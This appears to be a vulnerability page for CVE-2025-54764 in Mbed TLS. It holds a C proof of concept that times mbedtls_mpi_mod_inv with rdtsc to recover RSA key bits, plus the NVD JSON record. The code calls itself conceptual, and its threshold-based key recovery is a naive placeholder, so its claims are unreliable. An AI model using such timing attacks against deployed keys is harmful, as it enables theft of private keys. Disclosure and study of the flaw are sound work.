CVE-2025-54764

/* CVE-2025-54764 - Mbed TLS RSA Timing Side-Channel Attack PoC * This PoC demonstrates a local timing attack against mbedtls_mpi_mod_inv * to recover secret key bits through statistical analysis of execution times. * * Note: This is a conceptual demonstration. A real attack requires: * - High-resolution timing (rdtsc or performance counters) * - Large number of samples (typically thousands) * - Statistical analysis (e.g., Pearson correlation, DPA) */ #include <stdio.h> #include <stdint.h> #include <string.h> #include "mbedtls/bignum.h" #include "mbedtls/rsa.h" // High-resolution timer using rdtsc (x86) static inline uint64_t rdtsc(void) { uint32_t lo, hi; __asm__ volatile ("rdtsc" : "=a"(lo), "=d"(hi)); return ((uint64_t)hi << 32) | lo; } // Collect timing samples for mbedtls_mpi_mod_inv operation int collect_timing_samples(mbedtls_mpi *X, mbedtls_mpi *Y, uint64_t *samples, int num_samples) { mbedtls_mpi result; mbedtls_mpi_init(&result); for (int i = 0; i < num_samples; i++) { // Warm up cache mbedtls_mpi_mod_inv(&result, X, Y); uint64_t start = rdtsc(); mbedtls_mpi_mod_inv(&result, X, Y); uint64_t end = rdtsc(); samples[i] = end - start; // Vary input slightly to probe different key bits mbedtls_mpi_add_int(X, X, 1); } mbedtls_mpi_free(&result); return 0; } // Statistical analysis to recover key bits from timing data int analyze_timing(uint64_t *samples, int num_samples, uint8_t *recovered_key) { // Simple threshold-based analysis (placeholder for real DPA) uint64_t avg = 0; for (int i = 0; i < num_samples; i++) { avg += samples[i]; } avg /= num_samples; // Bits with timing above average likely correspond to specific key values for (int i = 0; i < num_samples && i < 256; i++) { recovered_key[i / 8] |= (samples[i] > avg ? 1 : 0) << (i % 8); } return 0; } int main(void) { mbedtls_mpi X, Y; uint64_t samples[10000]; uint8_t recovered_key[32] = {0}; mbedtls_mpi_init(&X); mbedtls_mpi_init(&Y); // Initialize with target values (in real attack, use actual RSA parameters) // mbedtls_mpi_read_string(&X, 16, "..."); // mbedtls_mpi_read_string(&Y, 16, "..."); printf("[*] Collecting timing samples...\n"); collect_timing_samples(&X, &Y, samples, 10000); printf("[*] Analyzing timing data...\n"); analyze_timing(samples, 10000, recovered_key); printf("[+] Recovered key bits (partial):\n"); for (int i = 0; i < 32; i++) { printf("%02x", recovered_key[i]); } printf("\n"); mbedtls_mpi_free(&X); mbedtls_mpi_free(&Y); return 0; }

{"cve": {"id": "CVE-2025-54764", "sourceIdentifier": "[email protected]", "published": "2025-10-20T22:15:37.060", "lastModified": "2025-10-31T15:09:59.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mbed TLS before 3.6.5 allows a local timing attack against certain RSA operations, and direct calls to mbedtls_mpi_mod_inv or mbedtls_mpi_gcd."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.5", "matchCriteriaId": "D9DA7861-39B5-40B3-BF4F-6A79ED188844"}]}]}], "references": [{"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2025-10-ssbleed-mstep/", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://mbed-tls.readthedocs.io/en/latest/tech-updates/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}